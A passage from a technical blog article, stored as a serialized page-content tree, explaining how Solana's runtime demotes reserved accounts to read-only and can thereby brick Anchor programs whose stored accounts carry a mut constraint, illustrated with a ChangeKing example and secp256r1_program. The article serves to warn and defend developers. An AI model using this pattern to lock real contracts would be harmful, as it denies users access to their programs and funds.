.",{"type":22,"tag":118,"props":3548,"children":3549},{"style":125},[3550],{"type":28,"value":3551},"account_keys\n",{"type":22,"tag":118,"props":3553,"children":3554},{"class":120,"line":253},[3555,3559,3564],{"type":22,"tag":118,"props":3556,"children":3557},{"style":210},[3558],{"type":28,"value":3546},{"type":22,"tag":118,"props":3560,"children":3561},{"style":532},[3562],{"type":28,"value":3563},"iter",{"type":22,"tag":118,"props":3565,"children":3566},{"style":125},[3567],{"type":28,"value":2708},{"type":22,"tag":118,"props":3569,"children":3570},{"class":120,"line":263},[3571,3575,3580],{"type":22,"tag":118,"props":3572,"children":3573},{"style":210},[3574],{"type":28,"value":3546},{"type":22,"tag":118,"props":3576,"children":3577},{"style":532},[3578],{"type":28,"value":3579},"enumerate",{"type":22,"tag":118,"props":3581,"children":3582},{"style":125},[3583],{"type":28,"value":2708},{"type":22,"tag":118,"props":3585,"children":3586},{"class":120,"line":318},[3587,3591,3596,3600,3605,3609,3614,3618,3623,3628,3632],{"type":22,"tag":118,"props":3588,"children":3589},{"style":210},[3590],{"type":28,"value":3546},{"type":22,"tag":118,"props":3592,"children":3593},{"style":532},[3594],{"type":28,"value":3595},"map",{"type":22,"tag":118,"props":3597,"children":3598},{"style":125},[3599],{"type":28,"value":540},{"type":22,"tag":118,"props":3601,"children":3602},{"style":210},[3603],{"type":28,"value":3604},"|",{"type":22,"tag":118,"props":3606,"children":3607},{"style":125},[3608],{"type":28,"value":540},{"type":22,"tag":118,"props":3610,"children":3611},{"style":204},[3612],{"type":28,"value":3613},"i",{"type":22,"tag":118,"props":3615,"children":3616},{"style":125},[3617],{"type":28,"value":231},{"type":22,"tag":118,"props":3619,"children":3620},{"style":204},[3621],{"type":28,"value":3622},"_key",{"type":22,"tag":118,"props":3624,"children":3625},{"style":125},[3626],{"type":28,"value":3627},")",{"type":22,"tag":118,"props":3629,"children":3630},{"style":210},[3631],{"type":28,"value":3604},{"type":22,"tag":118,"props":3633,"children":3634},{"style":125},[3635],{"type":28,"value":1474},{"type":22,"tag":118,"props":3637,"children":3638},{"class":120,"line":351},[3639,3644,3648,3653,3657,3661],{"type":22,"tag":118,"props":3640,"children":3641},{"style":204},[3642],{"type":28,"value":3643},"                message",{"type":22,"tag":118,"props":3645,"children":3646},{"style":210},[3647],{"type":28,"value":292},{"type":22,"tag":118,"props":3649,"children":3650},{"style":532},[3651],{"type":28,"value":3652},"is_writable_index",{"type":22,"tag":118,"props":3654,"children":3655},{"style":125},[3656],{"type":28,"value":540},{"type":22,"tag":118,"props":3658,"children":3659},{"style":204},[3660],{"type":28,"value":3613},{"type":22,"tag":118,"props":3662,"children":3663},{"style":125},[3664],{"type":28,"value":3665},")\n",{"type":22,"tag":118,"props":3667,"children":3668},{"class":120,"line":359},[3669,3674,3678,3682,3686,3691,3695,3699,3703,3707,3712,3716],{"type":22,"tag":118,"props":3670,"children":3671},{"style":210},[3672],{"type":28,"value":3673},"                    &&",{"type":22,"tag":118,"props":3675,"children":3676},{"style":210},[3677],{"type":28,"value":2164},{"type":22,"tag":118,"props":3679,"children":3680},{"style":204},[3681],{"type":28,"value":3478},{"type":22,"tag":118,"props":3683,"children":3684},{"style":210},[3685],{"type":28,"value":292},{"type":22,"tag":118,"props":3687,"children":3688},{"style":532},[3689],{"type":28,"value":3690},"contains",{"type":22,"tag":118,"props":3692,"children":3693},{"style":125},[3694],{"type":28,"value":540},{"type":22,"tag":118,"props":3696,"children":3697},{"style":210},[3698],{"type":28,"value":1407},{"type":22,"tag":118,"props":3700,"children":3701},{"style":204},[3702],{"type":28,"value":3451},{"type":22,"tag":118,"props":3704,"children":3705},{"style":210},[3706],{"type":28,"value":292},{"type":22,"tag":118,"props":3708,"children":3709},{"style":125},[3710],{"type":28,"value":3711},"account_keys[",{"type":22,"tag":118,"props":3713,"children":3714},{"style":204},[3715],{"type":28,"value":3613},{"type":22,"tag":118,"props":3717,"children":3718},{"style":125},[3719],{"type":28,"value":3720},"])\n",{"type":22,"tag":118,"props":3722,"children":3723},{"class":120,"line":368},[3724,3728,3732,3736,3740,3745,3749,3753],{"type":22,"tag":118,"props":3725,"children":3726},{"style":210},[3727],{"type":28,"value":3673},{"type":22,"tag":118,"props":3729,"children":3730},{"style":210},[3731],{"type":28,"value":2164},{"type":22,"tag":118,"props":3733,"children":3734},{"style":204},[3735],{"type":28,"value":3451},{"type":22,"tag":118,"props":3737,"children":3738},{"style":210},[3739],{"type":28,"value":292},{"type":22,"tag":118,"props":3741,"children":3742},{"style":532},[3743],{"type":28,"value":3744},"demote_program_id",{"type":22,"tag":118,"props":3746,"children":3747},{"style":125},[3748],{"type":28,"value":540},{"type":22,"tag":118,"props":3750,"children":3751},{"style":204},[3752],{"type":28,"value":3613},{"type":22,"tag":118,"props":3754,"children":3755},{"style":125},[3756],{"type":28,"value":3665},{"type":22,"tag":118,"props":3758,"children":3759},{"class":120,"line":384},[3760],{"type":22,"tag":118,"props":3761,"children":3762},{"style":125},[3763],{"type":28,"value":3764},"            })\n",{"type":22,"tag":118,"props":3766,"children":3767},{"class":120,"line":417},[3768,3772,3777,3781,3785,3790,3794,3798],{"type":22,"tag":118,"props":3769,"children":3770},{"style":210},[3771],{"type":28,"value":3546},{"type":22,"tag":118,"props":3773,"children":3774},{"style":532},[3775],{"type":28,"value":3776},"collect",{"type":22,"tag":118,"props":3778,"children":3779},{"style":210},[3780],{"type":28,"value":1190},{"type":22,"tag":118,"props":3782,"children":3783},{"style":125},[3784],{"type":28,"value":559},{"type":22,"tag":118,"props":3786,"children":3787},{"style":131},[3788],{"type":28,"value":3789},"Vec",{"type":22,"tag":118,"props":3791,"children":3792},{"style":125},[3793],{"type":28,"value":559},{"type":22,"tag":118,"props":3795,"children":3796},{"style":204},[3797],{"type":28,"value":3422},{"type":22,"tag":118,"props":3799,"children":3800},{"style":125},[3801],{"type":28,"value":3802},">>();\n",{"type":22,"tag":118,"props":3804,"children":3805},{"class":120,"line":425},[3806,3811],{"type":22,"tag":118,"props":3807,"children":3808},{"style":146},[3809],{"type":28,"value":3810},"        Self",{"type":22,"tag":118,"props":3812,"children":3813},{"style":125},[3814],{"type":28,"value":1474},{"type":22,"tag":118,"props":3816,"children":3817},{"class":120,"line":441},[3818,3823,3827,3832,3836,3841,3845,3849],{"type":22,"tag":118,"props":3819,"children":3820},{"style":204},[3821],{"type":28,"value":3822},"            message",{"type":22,"tag":118,"props":3824,"children":3825},{"style":210},[3826],{"type":28,"value":213},{"type":22,"tag":118,"props":3828,"children":3829},{"style":131},[3830],{"type":28,"value":3831}," Cow",{"type":22,"tag":118,"props":3833,"children":3834},{"style":210},[3835],{"type":28,"value":1190},{"type":22,"tag":118,"props":3837,"children":3838},{"style":532},[3839],{"type":28,"value":3840},"Owned",{"type":22,"tag":118,"props":3842,"children":3843},{"style":125},[3844],{"type":28,"value":540},{"type":22,"tag":118,"props":3846,"children":3847},{"style":204},[3848],{"type":28,"value":3451},{"type":22,"tag":118,"props":3850,"children":3851},{"style":125},[3852],{"type":28,"value":3853},"),\n",{"type":22,"tag":118,"props":3855,"children":3856},{"class":120,"line":475},[3857,3862],{"type":22,"tag":118,"props":3858,"children":3859},{"style":204},[3860],{"type":28,"value":3861},"            is_writable_account_cache",{"type":22,"tag":118,"props":3863,"children":3864},{"style":125},[3865],{"type":28,"value":782},{"type":22,"tag":118,"props":3867,"children":3868},{"class":120,"line":484},[3869],{"type":22,"tag":118,"props":3870,"children":3871},{"style":125},[3872],{"type":28,"value":1835},{"type":22,"tag":118,"props":3874,"children":3875},{"class":120,"line":492},[3876],{"type":22,"tag":118,"props":3877,"children":3878},{"style":125},[3879],{"type":28,"value":1254},{"type":22,"tag":118,"props":3881,"children":3882},{"class":120,"line":501},[3883],{"type":22,"tag":118,"props":3884,"children":3885},{"style":125},[3886],{"type":28,"value":481},{"type":22,"tag":118,"props":3888,"children":3889},{"class":120,"line":519},[3890],{"type":22,"tag":118,"props":3891,"children":3892},{"emptyLinePlaceholder":15},[3893],{"type":28,"value":250},{"type":22,"tag":118,"props":3895,"children":3896},{"class":120,"line":606},[3897],{"type":22,"tag":118,"props":3898,"children":3899},{"style":257},[3900],{"type":28,"value":3901},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":22,"tag":118,"props":3903,"children":3904},{"class":120,"line":615},[3905,3909,3913,3918,3922,3926,3930,3934,3938,3942,3947,3951,3955,3959],{"type":22,"tag":118,"props":3906,"children":3907},{"style":146},[3908],{"type":28,"value":149},{"type":22,"tag":118,"props":3910,"children":3911},{"style":146},[3912],{"type":28,"value":529},{"type":22,"tag":118,"props":3914,"children":3915},{"style":532},[3916],{"type":28,"value":3917}," demote_program_id",{"type":22,"tag":118,"props":3919,"children":3920},{"style":125},[3921],{"type":28,"value":540},{"type":22,"tag":118,"props":3923,"children":3924},{"style":210},[3925],{"type":28,"value":1407},{"type":22,"tag":118,"props":3927,"children":3928},{"style":146},[3929],{"type":28,"value":1412},{"type":22,"tag":118,"props":3931,"children":3932},{"style":125},[3933],{"type":28,"value":231},{"type":22,"tag":118,"props":3935,"children":3936},{"style":204},[3937],{"type":28,"value":3613},{"type":22,"tag":118,"props":3939,"children":3940},{"style":210},[3941],{"type":28,"value":213},{"type":22,"tag":118,"props":3943,"children":3944},{"style":131},[3945],{"type":28,"value":3946}," usize",{"type":22,"tag":118,"props":3948,"children":3949},{"style":125},[3950],{"type":28,"value":588},{"type":22,"tag":118,"props":3952,"children":3953},{"style":210},[3954],{"type":28,"value":593},{"type":22,"tag":118,"props":3956,"children":3957},{"style":131},[3958],{"type":28,"value":1469},{"type":22,"tag":118,"props":3960,"children":3961},{"style":125},[3962],{"type":28,"value":1474},{"type":22,"tag":118,"props":3964,"children":3965},{"class":120,"line":685},[3966,3970,3974,3979,3983,3987,3991,3995,3999,4003,4007,4012],{"type":22,"tag":118,"props":3967,"children":3968},{"style":146},[3969],{"type":28,"value":2477},{"type":22,"tag":118,"props":3971,"children":3972},{"style":210},[3973],{"type":28,"value":292},{"type":22,"tag":118,"props":3975,"children":3976},{"style":532},[3977],{"type":28,"value":3978},"is_key_called_as_program",{"type":22,"tag":118,"props":3980,"children":3981},{"style":125},[3982],{"type":28,"value":540},{"type":22,"tag":118,"props":3984,"children":3985},{"style":204},[3986],{"type":28,"value":3613},{"type":22,"tag":118,"props":3988,"children":3989},{"style":125},[3990],{"type":28,"value":588},{"type":22,"tag":118,"props":3992,"children":3993},{"style":210},[3994],{"type":28,"value":2187},{"type":22,"tag":118,"props":3996,"children":3997},{"style":210},[3998],{"type":28,"value":2164},{"type":22,"tag":118,"props":4000,"children":4001},{"style":146},[4002],{"type":28,"value":1412},{"type":22,"tag":118,"props":4004,"children":4005},{"style":210},[4006],{"type":28,"value":292},{"type":22,"tag":118,"props":4008,"children":4009},{"style":532},[4010],{"type":28,"value":4011},"is_upgradeable_loader_present",{"type":22,"tag":118,"props":4013,"children":4014},{"style":125},[4015],{"type":28,"value":2708},{"type":22,"tag":118,"props":4017,"children":4018},{"class":120,"line":699},[4019],{"type":22,"tag":118,"props":4020,"children":4021},{"style":125},[4022],{"type":28,"value":481},{"type":22,"tag":31,"props":4024,"children":4025},{},[4026],{"type":28,"value":4027},"As you can see, there are two main causes of write-demotion:",{"type":22,"tag":4029,"props":4030,"children":4031},"ol",{},[4032,4044],{"type":22,"tag":68,"props":4033,"children":4034},{},[4035,4037],{"type":28,"value":4036},"The account appears in the ",{"type":22,"tag":42,"props":4038,"children":4041},{"href":4039,"rel":4040},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[46],[4042],{"type":28,"value":4043},"reserved account list",{"type":22,"tag":68,"props":4045,"children":4046},{},[4047],{"type":28,"value":4048},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":22,"tag":31,"props":4050,"children":4051},{},[4052],{"type":28,"value":4053},"The second case is generally covered by the executable check implemented previously.",{"type":22,"tag":31,"props":4055,"children":4056},{},[4057],{"type":28,"value":4058},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":22,"tag":1899,"props":4060,"children":4062},{"id":4061},"the-reserved-account-list",[4063],{"type":28,"value":4064},"The Reserved Account List",{"type":22,"tag":31,"props":4066,"children":4067},{},[4068,4070,4075],{"type":28,"value":4069},"The Solana runtime maintains a ",{"type":22,"tag":42,"props":4071,"children":4073},{"href":4039,"rel":4072},[46],[4074],{"type":28,"value":4043},{"type":28,"value":4076},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":22,"tag":31,"props":4078,"children":4079},{},[4080,4082,4089,4091,4096],{"type":28,"value":4081},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":22,"tag":42,"props":4083,"children":4086},{"href":4084,"rel":4085},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[46],[4087],{"type":28,"value":4088},"feature gate is actived",{"type":28,"value":4090},", the runtime will ",{"type":22,"tag":74,"props":4092,"children":4093},{},[4094],{"type":28,"value":4095},"automatically demote them to read-only",{"type":28,"value":4097},", even if the transaction marked them as writable.",{"type":22,"tag":107,"props":4099,"children":4101},{"className":109,"code":4100,"language":111,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[4102],{"type":22,"tag":114,"props":4103,"children":4104},{"__ignoreMap":7},[4105,4113,4121,4145,4202,4240,4270],{"type":22,"tag":118,"props":4106,"children":4107},{"class":120,"line":121},[4108],{"type":22,"tag":118,"props":4109,"children":4110},{"style":257},[4111],{"type":28,"value":4112},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":22,"tag":118,"props":4114,"children":4115},{"class":120,"line":142},[4116],{"type":22,"tag":118,"props":4117,"children":4118},{"style":257},[4119],{"type":28,"value":4120},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":22,"tag":118,"props":4122,"children":4123},{"class":120,"line":177},[4124,4128,4132,4137,4141],{"type":22,"tag":118,"props":4125,"children":4126},{"style":146},[4127],{"type":28,"value":1412},{"type":22,"tag":118,"props":4129,"children":4130},{"style":210},[4131],{"type":28,"value":292},{"type":22,"tag":118,"props":4133,"children":4134},{"style":125},[4135],{"type":28,"value":4136},"reserved_account_keys ",{"type":22,"tag":118,"props":4138,"children":4139},{"style":210},[4140],{"type":28,"value":282},{"type":22,"tag":118,"props":4142,"children":4143},{"style":125},[4144],{"type":28,"value":1474},{"type":22,"tag":118,"props":4146,"children":4147},{"class":120,"line":195},[4148,4153,4158,4163,4167,4172,4176,4181,4185,4189,4193,4197],{"type":22,"tag":118,"props":4149,"children":4150},{"style":146},[4151],{"type":28,"value":4152},"    let",{"type":22,"tag":118,"props":4154,"children":4155},{"style":146},[4156],{"type":28,"value":4157}," mut",{"type":22,"tag":118,"props":4159,"children":4160},{"style":204},[4161],{"type":28,"value":4162}," reserved_keys",{"type":22,"tag":118,"props":4164,"children":4165},{"style":210},[4166],{"type":28,"value":837},{"type":22,"tag":118,"props":4168,"children":4169},{"style":131},[4170],{"type":28,"value":4171}," ReservedAccountKeys",{"type":22,"tag":118,"props":4173,"children":4174},{"style":210},[4175],{"type":28,"value":1190},{"type":22,"tag":118,"props":4177,"children":4178},{"style":532},[4179],{"type":28,"value":4180},"clone",{"type":22,"tag":118,"props":4182,"children":4183},{"style":125},[4184],{"type":28,"value":540},{"type":22,"tag":118,"props":4186,"children":4187},{"style":210},[4188],{"type":28,"value":1407},{"type":22,"tag":118,"props":4190,"children":4191},{"style":146},[4192],{"type":28,"value":1412},{"type":22,"tag":118,"props":4194,"children":4195},{"style":210},[4196],{"type":28,"value":292},{"type":22,"tag":118,"props":4198,"children":4199},{"style":125},[4200],{"type":28,"value":4201},"reserved_account_keys);\n",{"type":22,"tag":118,"props":4203,"children":4204},{"class":120,"line":244},[4205,4210,4214,4219,4223,4227,4231,4235],{"type":22,"tag":118,"props":4206,"children":4207},{"style":204},[4208],{"type":28,"value":4209},"    reserved_keys",{"type":22,"tag":118,"props":4211,"children":4212},{"style":210},[4213],{"type":28,"value":292},{"type":22,"tag":118,"props":4215,"children":4216},{"style":532},[4217],{"type":28,"value":4218},"update_active_set",{"type":22,"tag":118,"props":4220,"children":4221},{"style":125},[4222],{"type":28,"value":540},{"type":22,"tag":118,"props":4224,"children":4225},{"style":210},[4226],{"type":28,"value":1407},{"type":22,"tag":118,"props":4228,"children":4229},{"style":146},[4230],{"type":28,"value":1412},{"type":22,"tag":118,"props":4232,"children":4233},{"style":210},[4234],{"type":28,"value":292},{"type":22,"tag":118,"props":4236,"children":4237},{"style":125},[4238],{"type":28,"value":4239},"feature_set);\n",{"type":22,"tag":118,"props":4241,"children":4242},{"class":120,"line":253},[4243,4248,4252,4257,4261,4266],{"type":22,"tag":118,"props":4244,"children":4245},{"style":131},[4246],{"type":28,"value":4247},"    Arc",{"type":22,"tag":118,"props":4249,"children":4250},{"style":210},[4251],{"type":28,"value":1190},{"type":22,"tag":118,"props":4253,"children":4254},{"style":532},[4255],{"type":28,"value":4256},"new",{"type":22,"tag":118,"props":4258,"children":4259},{"style":125},[4260],{"type":28,"value":540},{"type":22,"tag":118,"props":4262,"children":4263},{"style":204},[4264],{"type":28,"value":4265},"reserved_keys",{"type":22,"tag":118,"props":4267,"children":4268},{"style":125},[4269],{"type":28,"value":3665},{"type":22,"tag":118,"props":4271,"children":4272},{"class":120,"line":263},[4273],{"type":22,"tag":118,"props":4274,"children":4275},{"style":125},[4276],{"type":28,"value":4277},"};\n",{"type":22,"tag":1899,"props":4279,"children":4281},{"id":4280},"consequences-silent-failures-and-bricked-programs",[4282],{"type":28,"value":4283},"Consequences: Silent Failures and Bricked Programs",{"type":22,"tag":31,"props":4285,"children":4286},{},[4287],{"type":28,"value":4288},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":22,"tag":107,"props":4290,"children":4292},{"className":109,"code":4291,"language":111,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[4293],{"type":22,"tag":114,"props":4294,"children":4295},{"__ignoreMap":7},[4296,4311,4338,4353,4392,4399,4446,4477,4484,4499,4530,4537,4552,4583],{"type":22,"tag":118,"props":4297,"children":4298},{"class":120,"line":121},[4299,4303,4307],{"type":22,"tag":118,"props":4300,"children":4301},{"style":125},[4302],{"type":28,"value":128},{"type":22,"tag":118,"props":4304,"children":4305},{"style":131},[4306],{"type":28,"value":134},{"type":22,"tag":118,"props":4308,"children":4309},{"style":125},[4310],{"type":28,"value":139},{"type":22,"tag":118,"props":4312,"children":4313},{"class":120,"line":142},[4314,4318,4322,4326,4330,4334],{"type":22,"tag":118,"props":4315,"children":4316},{"style":146},[4317],{"type":28,"value":149},{"type":22,"tag":118,"props":4319,"children":4320},{"style":146},[4321],{"type":28,"value":154},{"type":22,"tag":118,"props":4323,"children":4324},{"style":131},[4325],{"type":28,"value":159},{"type":22,"tag":118,"props":4327,"children":4328},{"style":125},[4329],{"type":28,"value":164},{"type":22,"tag":118,"props":4331,"children":4332},{"style":131},[4333],{"type":28,"value":169},{"type":22,"tag":118,"props":4335,"children":4336},{"style":125},[4337],{"type":28,"value":174},{"type":22,"tag":118,"props":4339,"children":4340},{"class":120,"line":177},[4341,4345,4349],{"type":22,"tag":118,"props":4342,"children":4343},{"style":125},[4344],{"type":28,"value":183},{"type":22,"tag":118,"props":4346,"children":4347},{"style":146},[4348],{"type":28,"value":188},{"type":22,"tag":118,"props":4350,"children":4351},{"style":125},[4352],{"type":28,"value":139},{"type":22,"tag":118,"props":4354,"children":4355},{"class":120,"line":195},[4356,4360,4364,4368,4372,4376,4380,4384,4388],{"type":22,"tag":118,"props":4357,"children":4358},{"style":146},[4359],{"type":28,"value":201},{"type":22,"tag":118,"props":4361,"children":4362},{"style":204},[4363],{"type":28,"value":207},{"type":22,"tag":118,"props":4365,"children":4366},{"style":210},[4367],{"type":28,"value":213},{"type":22,"tag":118,"props":4369,"children":4370},{"style":131},[4371],{"type":28,"value":218},{"type":22,"tag":118,"props":4373,"children":4374},{"style":125},[4375],{"type":28,"value":164},{"type":22,"tag":118,"props":4377,"children":4378},{"style":131},[4379],{"type":28,"value":169},{"type":22,"tag":118,"props":4381,"children":4382},{"style":125},[4383],{"type":28,"value":231},{"type":22,"tag":118,"props":4385,"children":4386},{"style":131},[4387],{"type":28,"value":236},{"type":22,"tag":118,"props":4389,"children":4390},{"style":125},[4391],{"type":28,"value":241},{"type":22,"tag":118,"props":4393,"children":4394},{"class":120,"line":244},[4395],{"type":22,"tag":118,"props":4396,"children":4397},{"emptyLinePlaceholder":15},[4398],{"type":28,"value":250},{"type":22,"tag":118,"props":4400,"children":4401},{"class":120,"line":253},[4402,4406,4410,4414,4418,4422,4426,4430,4434,4438,4442],{"type":22,"tag":118,"props":4403,"children":4404},{"style":125},[4405],{"type":28,"value":183},{"type":22,"tag":118,"props":4407,"children":4408},{"style":146},[4409],{"type":28,"value":188},{"type":22,"tag":118,"props":4411,"children":4412},{"style":125},[4413],{"type":28,"value":277},{"type":22,"tag":118,"props":4415,"children":4416},{"style":210},[4417],{"type":28,"value":282},{"type":22,"tag":118,"props":4419,"children":4420},{"style":125},[4421],{"type":28,"value":287},{"type":22,"tag":118,"props":4423,"children":4424},{"style":210},[4425],{"type":28,"value":292},{"type":22,"tag":118,"props":4427,"children":4428},{"style":125},[4429],{"type":28,"value":297},{"type":22,"tag":118,"props":4431,"children":4432},{"style":210},[4433],{"type":28,"value":302},{"type":22,"tag":118,"props":4435,"children":4436},{"style":125},[4437],{"type":28,"value":207},{"type":22,"tag":118,"props":4439,"children":4440},{"style":210},[4441],{"type":28,"value":292},{"type":22,"tag":118,"props":4443,"children":4444},{"style":125},[4445],{"type":28,"value":315},{"type":22,"tag":118,"props":4447,"children":4448},{"class":120,"line":263},[4449,4453,4457,4461,4465,4469,4473],{"type":22,"tag":118,"props":4450,"children":4451},{"style":146},[4452],{"type":28,"value":201},{"type":22,"tag":118,"props":4454,"children":4455},{"style":204},[4456],{"type":28,"value":287},{"type":22,"tag":118,"props":4458,"children":4459},{"style":210},[4460],{"type":28,"value":213},{"type":22,"tag":118,"props":4462,"children":4463},{"style":131},[4464],{"type":28,"value":336},{"type":22,"tag":118,"props":4466,"children":4467},{"style":125},[4468],{"type":28,"value":164},{"type":22,"tag":118,"props":4470,"children":4471},{"style":131},[4472],{"type":28,"value":169},{"type":22,"tag":118,"props":4474,"children":4475},{"style":125},[4476],{"type":28,"value":241},{"type":22,"tag":118,"props":4478,"children":4479},{"class":120,"line":318},[4480],{"type":22,"tag":118,"props":4481,"children":4482},{"emptyLinePlaceholder":15},[4483],{"type":28,"value":250},{"type":22,"tag":118,"props":4485,"children":4486},{"class":120,"line":351},[4487,4491,4495],{"type":22,"tag":118,"props":4488,"children":4489},{"style":125},[4490],{"type":28,"value":183},{"type":22,"tag":118,"props":4492,"children":4493},{"style":146},[4494],{"type":28,"value":188},{"type":22,"tag":118,"props":4496,"children":4497},{"style":125},[4498],{"type":28,"value":139},{"type":22,"tag":118,"props":4500,"children":4501},{"class":120,"line":359},[4502,4506,4510,4514,4518,4522,4526],{"type":22,"tag":118,"props":4503,"children":4504},{"style":146},[4505],{"type":28,"value":201},{"type":22,"tag":118,"props":4507,"children":4508},{"style":204},[4509],{"type":28,"value":394},{"type":22,"tag":118,"props":4511,"children":4512},{"style":210},[4513],{"type":28,"value":213},{"type":22,"tag":118,"props":4515,"children":4516},{"style":131},[4517],{"type":28,"value":336},{"type":22,"tag":118,"props":4519,"children":4520},{"style":125},[4521],{"type":28,"value":164},{"type":22,"tag":118,"props":4523,"children":4524},{"style":131},[4525],{"type":28,"value":169},{"type":22,"tag":118,"props":4527,"children":4528},{"style":125},[4529],{"type":28,"value":241},{"type":22,"tag":118,"props":4531,"children":4532},{"class":120,"line":368},[4533],{"type":22,"tag":118,"props":4534,"children":4535},{"emptyLinePlaceholder":15},[4536],{"type":28,"value":250},{"type":22,"tag":118,"props":4538,"children":4539},{"class":120,"line":384},[4540,4544,4548],{"type":22,"tag":118,"props":4541,"children":4542},{"style":125},[4543],{"type":28,"value":183},{"type":22,"tag":118,"props":4545,"children":4546},{"style":146},[4547],{"type":28,"value":188},{"type":22,"tag":118,"props":4549,"children":4550},{"style":125},[4551],{"type":28,"value":139},{"type":22,"tag":118,"props":4553,"children":4554},{"class":120,"line":417},[4555,4559,4563,4567,4571,4575,4579],{"type":22,"tag":118,"props":4556,"children":4557},{"style":146},[4558],{"type":28,"value":201},{"type":22,"tag":118,"props":4560,"children":4561},{"style":204},[4562],{"type":28,"value":451},{"type":22,"tag":118,"props":4564,"children":4565},{"style":210},[4566],{"type":28,"value":213},{"type":22,"tag":118,"props":4568,"children":4569},{"style":131},[4570],{"type":28,"value":460},{"type":22,"tag":118,"props":4572,"children":4573},{"style":125},[4574],{"type":28,"value":164},{"type":22,"tag":118,"props":4576,"children":4577},{"style":131},[4578],{"type":28,"value":169},{"type":22,"tag":118,"props":4580,"children":4581},{"style":125},[4582],{"type":28,"value":241},{"type":22,"tag":118,"props":4584,"children":4585},{"class":120,"line":425},[4586],{"type":22,"tag":118,"props":4587,"children":4588},{"style":125},[4589],{"type":28,"value":481},{"type":22,"tag":31,"props":4591,"children":4592},{},[4593,4595,4601,4603,4609],{"type":28,"value":4594},"This works fine — until one day, ",{"type":22,"tag":114,"props":4596,"children":4598},{"className":4597},[],[4599],{"type":28,"value":4600},"old_king",{"type":28,"value":4602}," is silently demoted. Suddenly, the ",{"type":22,"tag":114,"props":4604,"children":4606},{"className":4605},[],[4607],{"type":28,"value":4608},"#[account(mut)]",{"type":28,"value":4610}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":22,"tag":1899,"props":4612,"children":4614},{"id":4613},"real-world-example-write-demotion-with-secp256r1_program",[4615,4617],{"type":28,"value":4616},"Real-World Example: Write-Demotion with ",{"type":22,"tag":114,"props":4618,"children":4620},{"className":4619},[],[4621],{"type":28,"value":4622},"secp256r1_program",{"type":22,"tag":31,"props":4624,"children":4625},{},[4626,4628,4633],{"type":28,"value":4627},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":22,"tag":114,"props":4629,"children":4631},{"className":4630},[],[4632],{"type":28,"value":4622},{"type":28,"value":4634},", a precompiled program gated behind a feature flag:",{"type":22,"tag":107,"props":4636,"children":4638},{"className":109,"code":4637,"language":111,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[4639],{"type":22,"tag":114,"props":4640,"children":4641},{"__ignoreMap":7},[4642,4663,4684,4713],{"type":22,"tag":118,"props":4643,"children":4644},{"class":120,"line":121},[4645,4650,4654,4659],{"type":22,"tag":118,"props":4646,"children":4647},{"style":131},[4648],{"type":28,"value":4649},"ReservedAccount",{"type":22,"tag":118,"props":4651,"children":4652},{"style":210},[4653],{"type":28,"value":1190},{"type":22,"tag":118,"props":4655,"children":4656},{"style":532},[4657],{"type":28,"value":4658},"new_pending",{"type":22,"tag":118,"props":4660,"children":4661},{"style":125},[4662],{"type":28,"value":696},{"type":22,"tag":118,"props":4664,"children":4665},{"class":120,"line":142},[4666,4671,4675,4680],{"type":22,"tag":118,"props":4667,"children":4668},{"style":125},[4669],{"type":28,"value":4670},"    secp256r1_program",{"type":22,"tag":118,"props":4672,"children":4673},{"style":210},[4674],{"type":28,"value":1190},{"type":22,"tag":118,"props":4676,"children":4677},{"style":532},[4678],{"type":28,"value":4679},"id",{"type":22,"tag":118,"props":4681,"children":4682},{"style":125},[4683],{"type":28,"value":768},{"type":22,"tag":118,"props":4685,"children":4686},{"class":120,"line":177},[4687,4692,4696,4701,4705,4709],{"type":22,"tag":118,"props":4688,"children":4689},{"style":125},[4690],{"type":28,"value":4691},"    feature_set",{"type":22,"tag":118,"props":4693,"children":4694},{"style":210},[4695],{"type":28,"value":1190},{"type":22,"tag":118,"props":4697,"children":4698},{"style":125},[4699],{"type":28,"value":4700},"enable_secp256r1_precompile",{"type":22,"tag":118,"props":4702,"children":4703},{"style":210},[4704],{"type":28,"value":1190},{"type":22,"tag":118,"props":4706,"children":4707},{"style":532},[4708],{"type":28,"value":4679},{"type":22,"tag":118,"props":4710,"children":4711},{"style":125},[4712],{"type":28,"value":768},{"type":22,"tag":118,"props":4714,"children":4715},{"class":120,"line":195},[4716],{"type":22,"tag":118,"props":4717,"children":4718},{"style":125},[4719],{"type":28,"value":3665},{"type":22,"tag":31,"props":4721,"children":4722},{},[4723,4725,4730,4732,4738],{"type":28,"value":4724},"Before the ",{"type":22,"tag":114,"props":4726,"children":4728},{"className":4727},[],[4729],{"type":28,"value":4700},{"type":28,"value":4731}," feature is activated, this account behaves like any ordinary one. You can assign 